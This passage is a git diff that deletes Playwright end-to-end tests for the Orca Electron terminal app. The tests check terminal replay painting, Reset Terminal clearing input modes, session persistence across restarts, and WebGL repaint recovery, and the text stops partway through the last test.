a/tests/e2e/terminal-replay-presentation.spec.ts +++ /dev/null @@ -1,142 +0,0 @@ -import path from 'node:path' -import { writeFile } from 'node:fs/promises' -import { build } from 'esbuild' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { runNodeScriptInTerminal } from './helpers/run-node-script-in-terminal' -import { compareTerminalScreenshots } from './terminal-screenshot-diff' -import type { TerminalReplayPresentationProbe } from './fixtures/terminal-replay-presentation-probe' - -test.use({ orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: '120000' } }) - -for (const scenario of [ - { name: 'at a foreign grid in DOM', resize: true, gpu: 'off' }, - { name: 'at the same grid in DOM', resize: false, gpu: 'off' }, - { name: 'at a foreign grid in WebGL', resize: true, gpu: 'on' } -] as const) { - test(`retains the painted frame ${scenario.name}`, async ({ orcaPage }, testInfo) => { - await waitForSessionReady(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await focusActiveTerminalInput(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - const quietProcess = await runNodeScriptInTerminal( - orcaPage, - ptyId, - "process.stdout.write('REPLAY_PROBE_READY\\r\\n'); process.stdin.on('data', () => process.stdout.write('REVEAL_INPUT_ACK\\r\\n'))" - ) - await expect.poll(() => getTerminalContent(orcaPage, 10_000)).toContain('REPLAY_PROBE_READY') - quietProcess.cleanup() - - const bundle = await build({ - entryPoints: [ - path.join(process.cwd(), 'tests/e2e/fixtures/terminal-replay-presentation-probe.ts') - ], - bundle: true, - write: false, - format: 'iife', - platform: 'browser', - alias: { '@': path.join(process.cwd(), 'src/renderer/src') }, - define: { 'import.meta.env': '{}' } - }) - const script = bundle.outputFiles[0]?.text - if (!script) { - throw new Error('Replay presentation probe did not build') - } - await orcaPage.addScriptTag({ content: script }) - await orcaPage.evaluate( - (gpu) => window.__terminalReplayPresentationProbe?.prepare(gpu), - scenario.gpu - ) - const screen = orcaPage.locator('[data-replay-paint-probe="true"]') - const input = screen.locator('.xterm-helper-textarea') - if (scenario.gpu === 'on') { - const webglAttached = await screen - .locator('canvas') - .first() - .waitFor({ state: 'attached', timeout: 10_000 }) - .then(() => true) - .catch(() => false) - // Why: headless Linux CI (xvfb, no GPU) falls back to the DOM renderer. - test.skip(!webglAttached, 'WebGL renderer is unavailable in this environment') - } else { - await expect(screen.locator('.xterm-rows')).toBeVisible() - } - await expect(input).toBeFocused() - // Why: feature-tip tooltips can overlap the screen clip and change between captures. - await orcaPage.addStyleTag({ - content: '[role="tooltip"] { display: none !important; }' - }) - const before = await screen.boundingBox() - if (!before) { - throw new Error('Terminal screen has no measurable viewport') - } - const cdp = await orcaPage.context().newCDPSession(orcaPage) - const captureFrame = async (name: string): Promise => { - const { data } = await cdp.send('Page.captureScreenshot', { - format: 'png', - clip: { ...before, scale: 1 }, - captureBeyondViewport: false - }) - const image = Buffer.from(data, 'base64') - await writeFile(testInfo.outputPath(name), image) - return image - } - const previous = await captureFrame('before-replay.png') - - try { - // Hidden Electron screenshots can outlive the presentation hold cap, so freeze timers once the replay is held. - await orcaPage.clock.install() - await orcaPage.evaluate( - (resize) => window.__terminalReplayPresentationProbe?.start(resize), - scenario.resize - ) - await orcaPage.waitForFunction(() => window.__terminalReplayPresentationProbe?.waiting) - // Why a small lead: pauseAt cannot target a fake time that already passed. - await orcaPage.clock.pauseAt(await orcaPage.evaluate(() => Date.now() + 50)) - const during = await captureFrame('during-replay.png') - expect( - compareTerminalScreenshots(previous, during).diffRatio, - 'replay must retain pixels, not flash blank' - ).toBeLessThan(0.001) - await expect(input).toBeFocused() - await expect(input).toHaveCSS('visibility', 'visible') - - await orcaPage.clock.resume() - await orcaPage.evaluate(async () => { - const probe: TerminalReplayPresentationProbe | undefined = - window.__terminalReplayPresentationProbe - probe?.release() - await probe?.completion - }) - await expect(screen).toHaveCSS('opacity', '1') - await expect(input).toBeFocused() - await expect(orcaPage.locator('[data-terminal-replay-frame]')).toHaveCount(0) - const after = await screen.boundingBox() - expect(after?.width).toBeCloseTo(before.width, 0) - expect(after?.height).toBeCloseTo(before.height, 0) - const final = await captureFrame('after-replay.png') - expect(compareTerminalScreenshots(previous, final).diffRatio).toBeGreaterThan(0.01) - } finally { - await testInfo.attach('replay-events', { - body: JSON.stringify( - await orcaPage.evaluate(() => window.__terminalReplayPresentationProbe?.trace), - null, - 2 - ), - contentType: 'application/json' - }) - await orcaPage.evaluate(() => window.__terminalReplayPresentationProbe?.dispose()) - await orcaPage.clock.resume().catch(() => undefined) - await cdp.detach() - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - } - }) -} diff --git a/tests/e2e/terminal-reset-input-modes.spec.ts b/tests/e2e/terminal-reset-input-modes.spec.ts deleted file mode 100644 index a98aeb19caa..00000000000 --- a/tests/e2e/terminal-reset-input-modes.spec.ts +++ /dev/null @@ -1,126 +0,0 @@ -// Require Reset Terminal to ground modes in the host model across park/reveal; renderer-only reset would re-arm the fresh xterm. -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' -import { - ensureTerminalVisible, - getActiveTabId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { openTerminalContextMenu } from './helpers/terminal-pane-title-actions' -import { - clearTerminalPtyWriteLog, - installTerminalPtyWriteSpy, - readTerminalPtyWrites -} from './helpers/terminal-pty-write-spy' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -const PARKING_DELAY_MS = Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 500 -const KITTY_SHIFT_ENTER = '\x1b[13;2u' - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -type XtermInputModes = { kittyFlags: number | null; mouse: string | null } - -async function readXtermInputModes(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeTabId ?? null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm exposes kitty flags only on its private core; null when absent. - const terminal = pane?.terminal as - | { - modes?: { mouseTrackingMode?: string } - _core?: { coreService?: { kittyKeyboard?: { flags?: number } } } - } - | undefined - return { - kittyFlags: terminal?._core?.coreService?.kittyKeyboard?.flags ?? null, - mouse: terminal?.modes?.mouseTrackingMode ?? null - } - }) -} - -// Why Shift+Enter: the policy emits CSI-u only when the pane mirror reports kitty flags. -async function readShiftEnterWrite(page: Page, app: ElectronApplication): Promise { - await clearTerminalPtyWriteLog(app) - await focusActiveTerminalInput(page) - await page.keyboard.press('Shift+Enter') - let written = '' - await expect - .poll( - async () => { - written = (await readTerminalPtyWrites(app)).join('') - return written.length - }, - { timeout: 5_000, message: 'Shift+Enter wrote nothing' } - ) - .toBeGreaterThan(0) - return written -} - -async function expectGrounded(page: Page, app: ElectronApplication, when: string): Promise { - await expect - .poll(() => readXtermInputModes(page), { timeout: 10_000, message: `xterm armed ${when}` }) - .toEqual({ kittyFlags: 0, mouse: 'none' }) - expect(await readShiftEnterWrite(page, app)).not.toContain(KITTY_SHIFT_ENTER) -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((tabId) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Orca store unavailable') - } - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - state.setActiveTab(tabId) - }, tabId) - await expect.poll(() => getActiveTabId(page)).toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) -} - -test('Reset Terminal grounds modes an unhooked crash left armed, through park and reveal', async ({ - orcaPage, - electronApp -}) => { - test.skip(process.platform === 'win32', 'ConPTY panes withhold the kitty protocol') - await installTerminalPtyWriteSpy(electronApp) - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const tabId = await getActiveTabId(orcaPage) - if (!tabId) { - throw new Error('no active terminal tab') - } - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - - // `exec` drops the shell hooks, so no OSC 133;D ever lets the host ground the - // modes the printf arms and leaves behind. - await sendToTerminal(orcaPage, ptyId, 'exec bash --norc --noprofile\r') - await sendToTerminal(orcaPage, ptyId, "printf '\\033[>5u\\033[?1000h\\033[?1006h'\r") - await expect - .poll(() => readXtermInputModes(orcaPage), { timeout: 10_000 }) - .toEqual({ kittyFlags: 5, mouse: 'vt200' }) - expect(await readShiftEnterWrite(orcaPage, electronApp)).toContain(KITTY_SHIFT_ENTER) - - await openTerminalContextMenu(orcaPage) - await orcaPage.getByRole('menuitem', { name: 'Reset Terminal', exact: true }).click() - await expectGrounded(orcaPage, electronApp, 'after Reset Terminal') - - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { parkDelayMs: PARKING_DELAY_MS }) - await activateTerminalTab(orcaPage, tabId) - await waitForActivePanePtyId(orcaPage) - await expectGrounded(orcaPage, electronApp, 'after park and reveal') -}) diff --git a/tests/e2e/terminal-restart-persistence.spec.ts b/tests/e2e/terminal-restart-persistence.spec.ts deleted file mode 100644 index 192821e148b..00000000000 --- a/tests/e2e/terminal-restart-persistence.spec.ts +++ /dev/null @@ -1,207 +0,0 @@ -// #461’s 3-minute renderer scrollback serialization caused multi-pane input stalls; #729 replaced it with daemon history and pruned local session buffers. -// Require daemon-backed scrollback, cursor and pane titles across clean restart. - -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - execInTerminal, - waitForTerminalOutput, - waitForPaneCount, - getTerminalContent, - splitActiveTerminalPane -} from './helpers/terminal' -import { getActiveTabId } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { PTY_SESSION_ID_SEPARATOR } from '../../src/shared/terminal/pty/lifecycle/pty-session-id-format' -import { - seededRepoPathOrSkip, - bootstrapFirstLaunch, - bootstrapRestoredLaunch, - waitForTerminalActiveLine, - readTerminalActiveLine, - setPaneTitleFromTerminalMenu, - getTabCustomTitle, - expectSavedLayoutToContainTitle -} from './helpers/terminal-restart-persistence' - -// Serialize full quit/relaunch cycles to avoid competing Electron cache locks. -test.describe.configure({ mode: 'serial' }) - -test.describe('Terminal restart persistence', () => { - test('scrollback survives clean quit and relaunch', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - const repoPath = seededRepoPathOrSkip() - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const { worktreeId, ptyId } = await bootstrapFirstLaunch(firstLaunch.page, repoPath) - // Require daemon-backed persistence; LocalPtyProvider fallback intentionally prunes buffers and would give the wrong failure signal. - expect(ptyId).toContain(PTY_SESSION_ID_SEPARATOR) - - // Use a retry-unique marker plus newline so prompt/OSC residue cannot satisfy snapshot retention. - const marker = `SCROLLBACK_PERSIST_${Date.now()}` - await execInTerminal(firstLaunch.page, ptyId, `echo ${marker}`) - await waitForTerminalOutput(firstLaunch.page, marker) - - // Close saves session bindings and disconnects; daemon retains scrollback. - await session.close(firstApp) - firstApp = null - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await bootstrapRestoredLaunch(secondLaunch.page, worktreeId) - - // Poll live xterm after snapshot replay; local scrollback is intentionally absent from store. - await expect - .poll(async () => (await getTerminalContent(secondLaunch.page)).includes(marker), { - timeout: 15_000, - message: 'Restored terminal did not contain the pre-quit scrollback marker' - }) - .toBe(true) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } - }) - - test('daemon snapshot relaunch preserves the cursor on the shell prompt', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - const repoPath = seededRepoPathOrSkip() - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const { worktreeId, ptyId } = await bootstrapFirstLaunch(firstLaunch.page, repoPath) - expect(ptyId).toContain(PTY_SESSION_ID_SEPARATOR) - - const prompt = `ORCA_RESTART_PROMPT_${Date.now()}_GT ` - const marker = `ORCA_CURSOR_RESTART_${Date.now()}` - const promptCommand = - process.platform === 'win32' - ? `function global:prompt { '${prompt}' }` - : `export PS1='${prompt}'; PROMPT='${prompt}'` - // PowerShell prompt is a function; keep PS1/PROMPT for Bash/Zsh. - await execInTerminal(firstLaunch.page, ptyId, promptCommand) - await waitForTerminalActiveLine(firstLaunch.page, prompt.trim()) - await execInTerminal(firstLaunch.page, ptyId, `echo ${marker}`) - await waitForTerminalOutput(firstLaunch.page, marker) - - const beforeActiveLine = await waitForTerminalActiveLine(firstLaunch.page, prompt.trim()) - await session.close(firstApp) - firstApp = null - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await bootstrapRestoredLaunch(secondLaunch.page, worktreeId) - await waitForTerminalOutput(secondLaunch.page, marker, 15_000) - - await expect - .poll( - async () => { - const activeLine = await readTerminalActiveLine(secondLaunch.page) - if (!activeLine || activeLine.includes(marker)) { - return false - } - // Require a settled prompt, not the temporary PS1 surviving: reattach may preserve the shell or replay before a new prompt. - return activeLine === beforeActiveLine || /[$#%>]\s*$/.test(activeLine) - }, - { - timeout: 10_000, - message: 'Restored terminal cursor did not settle on a shell prompt line' - } - ) - .toBe(true) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } - }) - - test('restored Set Title pane label survives agent title churn', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - const repoPath = seededRepoPathOrSkip() - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const { worktreeId } = await bootstrapFirstLaunch(firstLaunch.page, repoPath) - const title = `Restored pane label ${Date.now()}` - const firstTabId = (await getActiveTabId(firstLaunch.page))! - - await setPaneTitleFromTerminalMenu(firstLaunch.page, title) - await expect - .poll(() => getTabCustomTitle(firstLaunch.page, worktreeId, firstTabId), { - timeout: 3_000 - }) - .toBe(null) - - await session.close(firstApp) - firstApp = null - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await bootstrapRestoredLaunch(secondLaunch.page, worktreeId) - const restoredTabId = (await getActiveTabId(secondLaunch.page))! - - await expect(secondLaunch.page.locator('.pane-title-text', { hasText: title })).toBeVisible() - await expect - .poll(() => getTabCustomTitle(secondLaunch.page, worktreeId, restoredTabId), { - timeout: 3_000 - }) - .toBe(null) - await expectSavedLayoutToContainTitle(secondLaunch.page, restoredTabId, title) - - const runtimeTitle = '⠋ Codex restored working' - await secondLaunch.page.evaluate( - ({ targetTabId, title }) => { - window.__store!.getState().updateTabTitle(targetTabId, title) - }, - { targetTabId: restoredTabId, title: runtimeTitle } - ) - await expect( - secondLaunch.page.locator(`[data-testid="sortable-tab"][data-tab-id="${restoredTabId}"]`) - ).toHaveAttribute('data-tab-title', runtimeTitle) - await expect(secondLaunch.page.locator('.pane-title-text', { hasText: title })).toBeVisible() - await expect - .poll(() => getTabCustomTitle(secondLaunch.page, worktreeId, restoredTabId), { - timeout: 3_000 - }) - .toBe(null) - - await splitActiveTerminalPane(secondLaunch.page, 'vertical') - await waitForPaneCount(secondLaunch.page, 2) - await expect(secondLaunch.page.locator('.pane-title-text', { hasText: title })).toBeVisible() - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } - }) -}) diff --git a/tests/e2e/terminal-reveal-paused-render-repro.spec.ts b/tests/e2e/terminal-reveal-paused-render-repro.spec.ts deleted file mode 100644 index 78bc66aed9f..00000000000 --- a/tests/e2e/terminal-reveal-paused-render-repro.spec.ts +++ /dev/null @@ -1,757 +0,0 @@ -import { writeFile } from 'node:fs/promises' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { getActiveTabId, getActiveWorktreeId, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { captureStableTabScreenshot } from './terminal-tab-screenshot' -import { compareTerminalScreenshots } from './terminal-screenshot-diff' - -// #7614: delayed IntersectionObserver leaves RenderService paused; refresh latches _needsFullRefresh but swallows repaint after atlas clear. -// Force that gate deterministically on real xterm: old refresh must render nothing, production atlas-reset/full-present must clear pause and repaint pixels. -// Hidden Electron cannot reliably race observer lag, so only _isPaused and render recording are test instrumentation. - -const BOTTOM_MARKER = 'REVEAL_PAUSED_RENDER_BOTTOM_MARKER' - -type RenderProbeResult = { - paused: boolean - renderedRanges: [number, number][] - rows: number -} - -type RevealRenderDebug = { - installProbe: () => boolean - setPaused: (paused: boolean) => boolean - dirtyModelLikeReveal: () => boolean - plainRefresh: () => void - runRealRevealRepaint: () => void - read: () => RenderProbeResult -} - -type RevealProbeWindow = Window & { - __revealRenderProbe?: RevealRenderDebug - __syncRevealProbe?: { - paintFrame: (marker: string, background: number, release: boolean) => Promise - writeSpinnerFrame: (glyph: string, release: boolean) => Promise - forceRendererPresent: () => void - read: () => { - atlasClears: number - fullViewportRenderRows: number - screen: string - synchronizedOutput: boolean - } - } -} - -// Instrument production RenderService; manually pause to model observer lag and wrap _renderRows to record effects. -async function installRevealRenderProbe(page: Page, tabId: string): Promise { - await page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!manager || !pane) { - throw new Error('No active pane for reveal render probe') - } - - type PausableRenderService = { - _isPaused?: boolean - _needsFullRefresh?: boolean - _renderRows?: (start: number, end: number) => void - __revealProbeRanges?: [number, number][] - __revealProbeInstalled?: boolean - } - type TerminalInternals = { - rows?: number - _core?: { _renderService?: PausableRenderService } - buffer?: { active?: { getLine?: (y: number) => unknown } } - refresh?: (start: number, end: number) => void - } - - const terminal = pane.terminal as unknown as TerminalInternals - const service = terminal._core?._renderService - if (!service || typeof service._renderRows !== 'function') { - throw new Error('Real RenderService._renderRows unavailable — cannot probe') - } - - const debug: RevealRenderDebug = { - installProbe: () => { - if (service.__revealProbeInstalled) { - service.__revealProbeRanges = [] - return true - } - service.__revealProbeRanges = [] - const original = service._renderRows!.bind(service) - service._renderRows = (start: number, end: number): void => { - service.__revealProbeRanges!.push([start, end]) - original(start, end) - } - service.__revealProbeInstalled = true - return true - }, - setPaused: (paused: boolean) => { - service._isPaused = paused - return service._isPaused === paused - }, - dirtyModelLikeReveal: () => { - // Atlas clear empties the render model and requests the redraw the paused gate swallows. - const withAtlas = pane as unknown as { - webglAddon?: { clearTextureAtlas?: () => void } - } - withAtlas.webglAddon?.clearTextureAtlas?.() - return true - }, - plainRefresh: () => { - const rows = terminal.rows ?? 0 - terminal.refresh?.(0, Math.max(0, rows - 1)) - }, - runRealRevealRepaint: () => { - manager.resetWebglTextureAtlases() - }, - read: () => ({ - paused: service._isPaused === true, - renderedRanges: (service.__revealProbeRanges ?? []).slice(), - rows: terminal.rows ?? 0 - }) - } - - ;(window as RevealProbeWindow).__revealRenderProbe = debug - }, tabId) -} - -async function probeRead(page: Page): Promise { - return page.evaluate(() => { - const probe = (window as RevealProbeWindow).__revealRenderProbe - if (!probe) { - throw new Error('Reveal render probe not installed') - } - return probe.read() - }) -} - -async function probeCall( - page: Page, - method: - | 'installProbe' - | 'setPaused' - | 'dirtyModelLikeReveal' - | 'plainRefresh' - | 'runRealRevealRepaint', - paused?: boolean -): Promise { - await page.evaluate( - ({ method, paused }) => { - const probe = (window as RevealProbeWindow).__revealRenderProbe - if (!probe) { - throw new Error('Reveal render probe not installed') - } - if (method === 'setPaused') { - probe.setPaused(paused ?? false) - return - } - ;(probe[method] as () => void)() - }, - { method, paused } - ) -} - -async function forceWebglOn(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - const state = window.__store?.getState() - if (state?.settings) { - window.__store?.setState({ - settings: { ...state.settings, terminalGpuAcceleration: 'on' } - }) - } - window.__paneManagers?.get(id)?.setTerminalGpuAcceleration?.('on') - }, tabId) -} - -async function installSynchronizedRevealProbe(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = [ - ...((manager as unknown as { panes?: Map } | undefined)?.panes?.values() ?? - []) - ][0] as - | { - serializeAddon?: { serialize?: () => string } - terminal: unknown - webglAddon?: unknown - } - | undefined - const addon = pane?.webglAddon as { clearTextureAtlas: () => void } | null | undefined - type SyncRenderService = { - _renderer?: - | { renderRows?: (start: number, end: number) => void } - | { value?: { renderRows?: (start: number, end: number) => void } | null } - _syncOutputHandler?: { _timeout?: number } - } - const terminal = pane?.terminal as - | { - cols: number - rows: number - write: (data: string, callback: () => void) => void - _core?: { - coreService?: { decPrivateModes?: { synchronizedOutput?: boolean } } - _coreService?: { decPrivateModes?: { synchronizedOutput?: boolean } } - _renderService?: SyncRenderService - } - } - | undefined - const service = terminal?._core?._renderService - const modes = - terminal?._core?.coreService?.decPrivateModes ?? - terminal?._core?._coreService?.decPrivateModes - const rendererHolder = service?._renderer - const renderer = - rendererHolder && 'renderRows' in rendererHolder - ? rendererHolder - : rendererHolder && 'value' in rendererHolder - ? rendererHolder.value - : null - if (!pane || !addon || !terminal || !service || !modes || !renderer?.renderRows) { - throw new Error( - JSON.stringify({ - addon: Boolean(addon), - modes: Boolean(modes), - pane: Boolean(pane), - renderer: Boolean(renderer?.renderRows), - rendererKeys: rendererHolder ? Object.keys(rendererHolder) : [], - service: Boolean(service), - terminal: Boolean(terminal) - }) - ) - } - - let atlasClears = 0 - let fullViewportRenderRows = 0 - const originalClear = addon.clearTextureAtlas.bind(addon) - addon.clearTextureAtlas = () => { - atlasClears += 1 - originalClear() - } - const originalRenderRows = renderer.renderRows.bind(renderer) - renderer.renderRows = (start: number, end: number) => { - if (start === 0 && end >= terminal.rows - 1) { - fullViewportRenderRows += 1 - } - originalRenderRows(start, end) - } - - const writeFrame = (data: string, release: boolean): Promise => - new Promise((resolve) => { - terminal.write(data, () => { - if (!release && service._syncOutputHandler?._timeout !== undefined) { - window.clearTimeout(service._syncOutputHandler._timeout) - service._syncOutputHandler._timeout = undefined - } - resolve() - }) - }) - - const paintFrame = (marker: string, background: number, release: boolean): Promise => { - const width = Math.max(1, terminal.cols) - const rows = Math.max(1, terminal.rows) - const line = ` ${marker} `.padEnd(width, marker[0] ?? '#').slice(0, width) - const frame = Array.from( - { length: rows }, - (_, row) => `\x1b[${row + 1};1H\x1b[48;5;${background}m\x1b[38;5;231m${line}` - ).join('') - return writeFrame( - `\x1b[?2026h\x1b[?1049h\x1b[2J${frame}\x1b[0m${release ? '\x1b[?2026l' : ''}`, - release - ) - } - - // Codex-like idle tick: title spinner and cursor park, each in its own DEC 2026 frame. - const writeSpinnerFrame = (glyph: string, release: boolean): Promise => - writeFrame( - `\x1b[?2026h\x1b]0;${glyph} work\x07${release ? `\x1b[${terminal.rows};3H\x1b[?2026l` : ''}`, - release - ) - - ;(window as RevealProbeWindow).__syncRevealProbe = { - paintFrame, - writeSpinnerFrame, - forceRendererPresent: () => renderer.renderRows?.(0, terminal.rows - 1), - read: () => ({ - atlasClears, - fullViewportRenderRows, - screen: pane.serializeAddon?.serialize?.() ?? '', - synchronizedOutput: modes.synchronizedOutput === true - }) - } - return true - }, tabId) -} - -async function callSynchronizedRevealProbe( - page: Page, - action: 'forceRendererPresent' | 'paintFrame' | 'writeSpinnerFrame', - frame?: { marker: string; background?: number; release: boolean } -): Promise { - await page.evaluate( - async ({ action, frame }) => { - const probe = (window as RevealProbeWindow).__syncRevealProbe - if (!probe) { - throw new Error('Synchronized reveal probe not installed') - } - if (action === 'paintFrame') { - if (!frame) { - throw new Error('Synchronized frame missing') - } - await probe.paintFrame(frame.marker, frame.background ?? 0, frame.release) - return - } - if (action === 'writeSpinnerFrame') { - await probe.writeSpinnerFrame(frame?.marker ?? '*', frame?.release ?? true) - return - } - probe.forceRendererPresent() - }, - { action, frame } - ) -} - -async function readSynchronizedRevealProbe(page: Page) { - return page.evaluate(() => { - const probe = (window as RevealProbeWindow).__syncRevealProbe - if (!probe) { - throw new Error('Synchronized reveal probe not installed') - } - return probe.read() - }) -} - -async function captureFirstRevealedFrame(page: Page, tabId: string): Promise { - const screen = page.locator(`[data-terminal-tab-id="${tabId}"] .xterm-screen`).first() - await expect(screen).toBeVisible() - return screen.screenshot({ animations: 'disabled' }) -} - -// Codex-like idle output: ~30 Hz spinner frames; the last stays open so a renderer swap lands mid-frame deterministically. -async function runSpinnerFramesEndingOpen(page: Page): Promise { - const glyphs = ['\u280b', '\u2819', '\u2839', '\u2838', '\u283c', '\u2834'] - // ast-grep-ignore: test-no-polling-loop -- models Codex's ~30 Hz spinner cadence; nothing is polled - for (let i = 0; i < 12; i++) { - const marker = glyphs[i % glyphs.length] - await callSynchronizedRevealProbe(page, 'writeSpinnerFrame', { - marker, - release: true - }) - // ast-grep-ignore: test-no-real-time-wait -- models Codex's ~30 Hz spinner cadence - await page.waitForTimeout(33) - } - await callSynchronizedRevealProbe(page, 'writeSpinnerFrame', { - marker: glyphs[0], - release: false - }) -} - -async function replaceWebglRenderer(page: Page, tabId: string): Promise { - await page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - manager?.setTerminalGpuAcceleration('off') - manager?.setTerminalGpuAcceleration('on') - }, tabId) -} - -test.describe('terminal reveal paused-render recovery', () => { - test("reveal repaint forces a render through xterm's paused gate", async ({ orcaPage }) => { - // Use orcaPage: the main renderer owns __store/__paneManagers, unlike Playwright’s first page. - const page = orcaPage - await waitForSessionReady(page) - await waitForActiveTerminalManager(page) - const tabId = (await getActiveTabId(page))! - const ptyId = await waitForActivePanePtyId(page) - - await forceWebglOn(page, tabId) - - // Fill bottom rows so swallowed repaint affects both render ranges and pixels. - await execInTerminal( - page, - ptyId, - `for i in $(seq 1 40); do echo "line $i ${BOTTOM_MARKER}_$i"; done` - ) - await waitForTerminalOutput(page, `${BOTTOM_MARKER}_40`) - await execInTerminal( - page, - ptyId, - `clear; printf '%s\\n' "$(seq 1 30)"; echo "${BOTTOM_MARKER}_FINAL"` - ) - await waitForTerminalOutput(page, `${BOTTOM_MARKER}_FINAL`) - - const revealed = await captureStableTabScreenshot(page, tabId) - - await installRevealRenderProbe(page, tabId) - await probeCall(page, 'installProbe') - - // Control replays pre-fix origin/main’s clearTextureAtlas+refresh while paused; it must render nothing. - await probeCall(page, 'setPaused', true) - await probeCall(page, 'dirtyModelLikeReveal') - await probeCall(page, 'plainRefresh') - await page.waitForTimeout(80) - const afterPlainRefresh = await probeRead(page) - - expect(afterPlainRefresh.paused, 'terminal is in the paused-render state').toBe(true) - expect( - afterPlainRefresh.renderedRanges, - 'BUG REPRODUCED: while paused, plain refresh() is swallowed by the gate — no render fires' - ).toHaveLength(0) - - await probeCall(page, 'setPaused', true) - await probeCall(page, 'dirtyModelLikeReveal') - await probeCall(page, 'runRealRevealRepaint') - await page.waitForTimeout(80) - const afterRealReveal = await probeRead(page) - - expect( - afterRealReveal.renderedRanges.length, - 'FIX: reveal repaint drove at least one render despite the paused gate' - ).toBeGreaterThan(0) - - const fullViewportRender = afterRealReveal.renderedRanges.some( - ([start, end]) => start === 0 && end >= afterRealReveal.rows - 1 - ) - expect( - fullViewportRender, - 'FIX: reveal repaint rendered the FULL viewport (0..rows-1), not a partial range' - ).toBe(true) - - expect( - afterRealReveal.paused, - 'FIX: pause latch is cleared so the observer can reassert authority cleanly' - ).toBe(false) - - const afterFix = await captureStableTabScreenshot(page, tabId) - const diff = compareTerminalScreenshots(revealed, afterFix) - expect( - diff.matches, - `recovered surface matches the revealed content (diffRatio=${diff.diffRatio})` - ).toBe(true) - }) - - test('a WebGL canvas replaced while spinner frames hold DEC 2026 paints instead of staying blank', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const tabId = (await getActiveTabId(orcaPage))! - await forceWebglOn(orcaPage, tabId) - const hasWebgl = () => - orcaPage - .waitForFunction( - (tabId) => - (window.__paneManagers?.get(tabId)?.getRenderingDiagnostics?.() ?? []).some( - (diagnostic) => diagnostic.hasWebgl - ), - tabId, - { timeout: 15_000 } - ) - .then(() => true) - .catch(() => false) - const webglAttached = await hasWebgl() - test.skip(!webglAttached, 'WebGL renderer is unavailable') - if (!webglAttached) { - return - } - expect(await installSynchronizedRevealProbe(orcaPage, tabId)).toBe(true) - await callSynchronizedRevealProbe(orcaPage, 'paintFrame', { - marker: 'SPINNER_PANE', - background: 17, - release: true - }) - const coherent = await captureStableTabScreenshot(orcaPage, tabId) - - await runSpinnerFramesEndingOpen(orcaPage) - expect((await readSynchronizedRevealProbe(orcaPage)).synchronizedOutput).toBe(true) - - await replaceWebglRenderer(orcaPage, tabId) - 